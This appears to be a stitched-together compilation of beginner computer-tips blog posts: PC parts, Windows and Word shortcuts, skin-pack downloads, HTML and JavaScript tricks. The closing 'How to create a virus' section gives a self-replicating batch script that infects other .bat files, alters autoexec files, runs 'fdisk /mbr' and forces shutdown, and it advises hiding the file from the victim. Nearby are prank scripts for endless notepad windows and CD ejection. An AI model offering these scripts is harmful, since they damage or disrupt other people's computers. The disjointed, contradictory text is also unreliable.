What is the full form of C.O.M.P.U.T.E.R

There is a myth that the word computer stands for ' Common Operating Machine Particularly Used for Technical, Entertainment and Research'. This is utter rubbish; for a start, the 'definition' does not make sense, secondly, when computers where invented and named, they did exactly what their name said; they were gigantic calculators, and were rare and expensive devices that filled whole rooms. That such a machine would have been named 'common' would have been ridiculous, let alone the idea that someone would use one for fun.
In 1943, Thomas Watson, the chairman of IBM, said that he thought there was "a world market for maybe five computers". This was, bear in mind, the man in charge of a computer company; and he was in change of making them sound good. It makes this writer wonder what will change and become commonplace by the time he reaches old age.

C-Common
O-Operating
M-Machine
P-Particularly
U-Used for
T-Technical
E-Educational and
R-Research

Computer Parts Name & Description

Well, if you start writing the list of computer parts, right from the miniature components, the list will get very long. So, why not explain the computer parts list, grouping them, depending on the purpose they solve. This list of all computer parts, will also help you in designing, or at least selecting, the configuration for your computer. Let us start with the basic list of parts in a computer, which you need to have, irrespective of the purpose for which you want to use your computer.

Monitor
It is not required to mention that it is one of the most important peripherals of your computer. The computer monitor is your computers display device and in most of the cases, the only source of output from your computer. TFT computer monitors are the trend now. They provide you with better visual effects and better graphics and display. Large size TFT computer screens are manufactured by various vendors. However, if you are a bit tight on the budget, you can always choose a CRT monitor, which comes at a much cheaper cost.

Keyboard
Most people wonder, how can keyboards differ? But computer keyboards manufactured by different vendors have different facilities. There are some that provide keys for internet access, while some provide keys for games. Some have keys for increasing or decreasing the volume, though this has been integrated in almost all keyboards, that are manufactured nowadays.

what is computer virus?

A computer virus is an executable program. Depend on the nature of a virus, it may cause damage of your hard disk contents, and/or interfere normal operation of your computer.
By definition, a virus program is able to replicate itself. This means that the virus multiplies on a computer by making copies of itself. This replication is intentional; it is part of the virus program. In most cases, if a file that contains virus is executed or copied onto another computer, then that computer will also be "infected" by the same virus.

What is Computer Science?

Computer Science is the systematic study of the feasibility, structure, expression, and mechanization of the methodical processes (or algorithms) that underlie the acquisition, representation, processing, storage, communication of, and access to information, whether such information is encoded in bits and bytes in a computer memory or transcribed in genes and protein structures in a human cell. The fundamental question underlying all of computing is: what computational processes can be efficiently automated and implemented?
To tackle this seemingly simple question, computer scientists work in many complementary areas. They study the very nature of computing to determine which problems are (or are not) computable. They compare various algorithms to determine if they provide a correct and efficient solution to a concrete problem. They design programming languages to enable the specification and expression of such algorithms. They design, evaluate, and build computer systems that can efficiently execute such specifications. And, they apply such algorithms to important application domains.

Keyboard Shortcuts for Windows XP

To	Press
Set focus on a notification.	Windows Key+B
View properties for the selected item.	ALT+ENTER
Displays the properties of the selected object.	ALT+Enter
Cycle through items in the order they were opened.	ALT+ESC
"Close the active item, or quit the active program.	ALT+F4
Opens the shortcut menu for the active window.	ALT+SPACEBAR
Display the System menu for the active window.	ALT+SPACEBAR
Switch between open items.	ALT+TAB
Carry out the corresponding command or select the corresponding option in a dialog box.	ALT+Underlined letter
Display the corresponding menu.	ALT+Underlined letter in a menu name
Select a button if the active option is a group of option buttons in a dialog box.	Arrow keys
View the folder one level up in My Computer or Windows Explorer.	BACKSPACE
Open a folder one level up if a folder is selected in the Save As or Open dialog box in a dialog box.	BACKSPACE
Copy selected item.	CTRL while dragging an item

How do I mark a read email unread in Gmail or Hotmail?

You can mark a read email message unread by doing the following:
For Gmail — 1) Log into Gmail account and select or tick the messages that you want to be marked as read or unread.
2) Click ‘More Actions‘. In the drop down menu, click ‘mark as read‘ to make the select item/s as read mails or click ‘mark as unread‘ to make the selected item/s as unread mail.
For Hotmail — 1) Log into Hotmail account and tick the messages that you want to be marked as unread.
2) Then click the ‘Mark as unread‘ button located in the actions/menu bar.

Skin Pack Installer System

  Now no need to create long and complicated scripts, no need to spend many hours in creating customization packs or transformation packs or skin packs for Windows Vista and 7.

Our friend "hameddanger" @ DA has done tremendous job in creating a free and easy to use installer system which helps you in creating skins packs quickly and easily.

"Skin Pack Installer System" allows you to replace existing images, icons, media files, etc in Windows system files automatically by a simple drag-n-drop function. It shows buttons for almost all system files which need to be modified by a skin pack to customize Windows UI. When you click on the button, it opens a folder which contains the resources of that file. Replace the resource with your desired one and click on "Create Setup" button.

You can also set your theme, wallpaper, cursor, sound scheme, etc with the help of this awesome software.

Click on the "Help" button and check the images to get more details about using this tool.

It also contains useful tool like Resource Hacker, Resource Extractor, Renamer, Convert PNG to BMP, etc to make your task easier.

Really an excellent and useful tool for people who want to create their own transformation or customization pack.

You can download it using following link:


Download Skin Pack Installer System (32-bit)









Download Skin Pack Installer System (64-bit)

8 Skin Pack 2.0 For XP

Transform XP to 8
Support:
- Windows XP (Home, Pro, RTM, SP1, SP2, SP3, Corporate)
- Windows 2003 (Standard, Enterprise, Datacenter, Web, RTM, SP1, SP2)
- Windows Media Center Edition (2003, 2004, 2005)
- Windows XP Tablet PC Edition
- All Language Versions
Note : Before install close all runnig program , after finish restart your system .
Skin Packs installer have easy and safe install option , its better to unistall old or other version of skin packs.

Programs:
Note : Some Program Need to install .Net FrameWork 4.0 For Runnig

8 Skin Pack X64 V4.0 Win 7

Transform 7 to 8
Support:
Windows 7 , Windows 7 SP1 , Windows Server 2008 R2 , Windows Server 2008 R2 SP1 - [X64 (64Bit)] - [All Language]

Note : Before install disable user account controller and close all runnig program , after finish restart your system , in windows server make sure theme service is runing .
Skin Packs installer have easy and safe install option , its better to unistall old or other version of skin packs.

Programs:
Note : Some Program Need to install .Net FrameWork 4.0 For Runnig

7 Skin Pack 6.0 For XP

Transform XP to 7
Support:
- Windows XP (Home, Pro, RTM, SP1, SP2, SP3, Corporate)
- Windows 2003 (Standard, Enterprise, Datacenter, Web, RTM, SP1, SP2)
- Windows Media Center Edition (2003, 2004, 2005)
- Windows XP Tablet PC Edition
- All Language Versions
Note : Before install close all runnig program , after finish restart your system .
Skin Packs installer have easy and safe install option , its better to unistall old or other version of skin packs.

Programs:
Note : Some Program Need to install .Net FrameWork 4.0 For Runnig

Ubuntu Skin Pack 4.0 For XP

Transform XP to Ubuntu
Support:
- Windows XP (Home, Pro, RTM, SP1, SP2, SP3, Corporate)
- Windows 2003 (Standard, Enterprise, Datacenter, Web, RTM, SP1, SP2)
- Windows Media Center Edition (2003, 2004, 2005)
- Windows XP Tablet PC Edition
- All Language Versions
Note : Before install close all runnig program , after finish restart your system .
Skin Packs installer have easy and safe install option , its better to unistall old or other version of skin packs.

Programs:
Note : Some Program Need to install .Net FrameWork 4.0 For Runnig

Scroll Line In HTML

1). Continuous scrolling text:

<!-- HTML codes by www.webtopsolution.blogspot.com -->
<marquee behavior="scroll" direction="left">Your scrolling text goes here</marquee>
<p style="font-size:10px;">Web Top Solution</p>

Web Top Solution

2). Text bouncing back and forth:

<!-- HTML codes by www.webtopsolution.blogspot.com -->
<marquee behavior="alternate">Your bouncing text goes here</marquee>
<p style="font-size:10px;">Web Top Solution</p> editor</a></p>


Your bouncing text goes here

How To Create Website

Do you want to create your free website.
Follow this setup.
Feature :
1500 MB Storage Space
100 GB Bandwidth
PHP and MYSQL access
5 Sub Domain
2 MySql Database
1 FTP account
all Feature is free Just Register
1). Click On This Banner
 

Customize and Style Read more option in Blogger

Customization like, changing the default "Read more" text or adding an image instead of read more link or the fix for the new option which takes you to that particular page obviously, but it jumps to the line after the "jump-break" option has been applied, when clicked. If you don't want this to happen and think that it disturbs you and your readers as well, then edit the code and fix this by the simple tutorial.

Go to Design > Edit HTML tab, and then click the "Expand Widget Templates" check-box.

Find:
<b:if cond='data:post.hasJumpLink'>
<div class='jump-link'>
<a expr:href='data:post.url + &quot;#more&quot;' expr:title='data:post.title'><data:post.jumpText/></a>
</div>
</b:if>

And delete:
+ &quot;#more&quot;

Microsoft(MS) Word Shorcut keys

Keyboard Shortcut	Result in Microsoft Word
CTRL and A	Selects all in the current document.
CTRL and B	Bold text.
CTRL and C	Copies the item or text to the Clipboard and can be pasted using CTRL and V.
CTRL and D	Displays the Font dialogue box.
CTRL and E	Centre Alignment.
CTRL and F	Displays the Find dialog box, to search the current document.
CTRL and G	Displays the Go to dialog box, to go to a specific location in the current document.
CTRL and H	Displays the Replace dialogue box.
CTRL and I	Italic text.
CTRL and J	Full Justification.
CTRL and K	Create Hyperlink
CTRL and L	Left Alignment

Somebody stop Me..

This is another cool notepad tricks to play with your friends, By using this simple code given below you can make the notepad open continuously with non stop..

Open notepad & type the following code given below :-

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save the file as “non-stop.bat”
Just do it in your friends computer & make them frustrate
Note :– This may even lead to hanging of some computers..!!

Q: What’s the difference between Wordpad and Notepad?

A: That’s an excellent question! They look basically the same, but in certain ways they are very different. The main thing to remember about these programs is that they are both very basic programs and can perform only basic tasks. If you want a lot of bells and whistles, you will probably do better with a full featured word processing program like MS Word.

Notepad and Wordpad are text-editing programs that are built into all Windows operating systems. If you don’t have a program like Microsoft Word, you can use one or both of these programs, depending on what type of document you need to write. Notepad does very basic text editing, while Wordpad steps it up a notch and leans towards being a word-processor. Notepad can actually help you build a website by being a basic HTML Editor while Wordpad doesn’t have that function. Take a look at some of the differences between Notepad and Wordpad.

All Smiley Codes for Facebook.

We all use facebook but still alot of us are unware of how to use smileys in chat.Some of us just think how the other person have sent a smiley.Well it is very simple to send smileys in facebook chat.You have to just enter a code and it will automatically convert into a smiley.I am providing here a complete list of smiley codes that can be used on facebook.Even if you already use or know some of the codes even then you will find this list very useful becuase you will find a lot of new codes

Remove Recycle bin Icon from Desktop

If you are the kind of person who always likes neatness specially desktop, then here is a small trick for you that will simply remove the Recycle bin icon from desktop.



Follow the steps below:

[Start] [Run] [Regedit]
Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\BitBucket


Modify/Create the Value Data Type(s) and Value Name(s) as detailed below.


Data Type: DWORD // Value Name: NukeOnDelete


Setting for Value Data: [0 = Use Recycle Bin / 1 = Permanently Delete]
Exit Registry and Reboot

Rotate Images Of Any Website

You can rotate images of any website to create wonderful effect’s.To Rotate images we will use javascript codes.Using this trick you can rotate images in Circular, Horizontal, Combination of Circular and horizontal trajectory.The images can also be made to revolve with your mouse movement.You should also read Cool And Awesome Javascript tricks. It will work in all modern browsers like Google Chrome,Internet Explorer,Firefox etc and on all websites as well.



Trick To Rotate Images in Circular Trajectory in Any Website

Open any website, copy and paste the following javascript code in your browser address bar and press Enter.The images will start rotating in circular trajectory.

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);

Trick To Rotate Images in Horizontal Trajectory in Any Website

To rotate images in horizontal trajectory Copy and paste the following javascript code in your browser address bar and press Enter. javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+ "px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+" px"}R++}setInterval( 'A()',5); void(0);

Trick To Rotate Images in Circular as well as Horizontal Trajectory in Any Website

Using this code you will add both the horizontal as well as Circular rotaion effect to images. javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; var DI= document.images; DIL=DI.length; function A(){for(i=0; i < DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5+"px"; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5+"px"}R++}tag=setInterval('A()',5 );document.onmousedown=function(){clearInterval(tag);for(i=0; i < DIL; i++){DI.style.position="static";}}; void(0)

Trick To Rotate Images in Circular Trajectory on Mouse Movement in Any Website

This will add the rotaion effect to images only on mouse movements.Whenever you will move your mouse your images will start rotating.
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=100; y4=100; var DI= document.images; DIL=DI.length; function A(_X,_Y){for(i=0; i < DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+_X+"px"; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+_Y+"px"}R++}document.onmousemove=function(event){_X = event.clientX; _Y = event.clientY; A(_X,_Y);};document.onmousedown=function(){for(i=0; i < DIL; i++){DI.style.position="static";}};void(0)

Use these codes on webpages will large number of images to get better effects.,

How to create a virus

What Is A Virus?

A computer virus is a computer program that can copy itself and infect a computer. The term “virus” is also commonly but erroneously used to refer to other types of malware, adware, and spyware programs that do not have the reproductive ability. A true virus can only spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer.

As stated above, the term “computer virus” is sometimes used as a catch-all phrase to include all types of malware, adware, and spyware programs that do not have the reproductive ability. Malware includes computer viruses, worms, trojans, most rootkits, spyware, dishonest adware, crimeware, and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with computer worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan is a program that appears harmless but hides malicious functions. Worms and Trojans, like viruses, may harm a computer system’s data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious and go unnoticed

1. 
   Read and understand the warnings!
2. Open up Notepad in Windows. You can do this by navigating to Start > Programs > Accessories > Notepad, or simply by entering notepad under Start > Run.
3. Copy and Paste the Code of the “virus” into Notepad 
4. Click File -> Save as
5. Decide for a location to save the fake-virus. 
6. You should chose a location where the user won’t find the file, so saving it on the desktop would be a bad idea!
7. Change “.txt” to “All files” in the file type drop-down menu
8. Chose a harmless filename. Replace the “.txt” at the with “.bat”
9. Click on save and close Notepad.

Understand the following: It’s just a harmless “virus”. It only prints some scary messages and finally shuts down the computer. As you start it again, your computer will work as it did before!
Read the virus: Below you see the Computer-Code that is executed as you start the virus. The lines that start with REM are comments that the computer ignores. The explain you what the above line does.

@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:tmp.bat >null attrib +r +s +h c:tmp.bat echo for %%i in (*.bat) do copy c:tmp.bat+%%i %%i >>c:windowssystem32autoexec.NT
echo echo virus detected! >>c:windowssystem32autoexec.NT
echo pause >>c:windowssystem32autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:autoexec.bat
echo echo system hault-virus identified! >>c:autoexec.bat
echo chkdsk >>c:autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has incountered a write fault at 0×00000000000000000000000000000000000″

Code Details

@echo off
color 1a (Changes the colour)
echo (Displays a text)
echo: (leaves a line)
ping -n 2 127.0.0.1>nul (pings your localhost – nothing much)
shutdown.exe (shutdown)

Create a Harmless Funny Virus with Notepad-Continuously eject CD/DVD drives

This VBS trick will create a code which will continuously eject all your connected Optical drives. If you put them back in, it will pop them out again. Copy this code and paste it in Notepad as Virus.vbs or *.vbs.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Double click to open this file and you will be impressed by this awesome trick.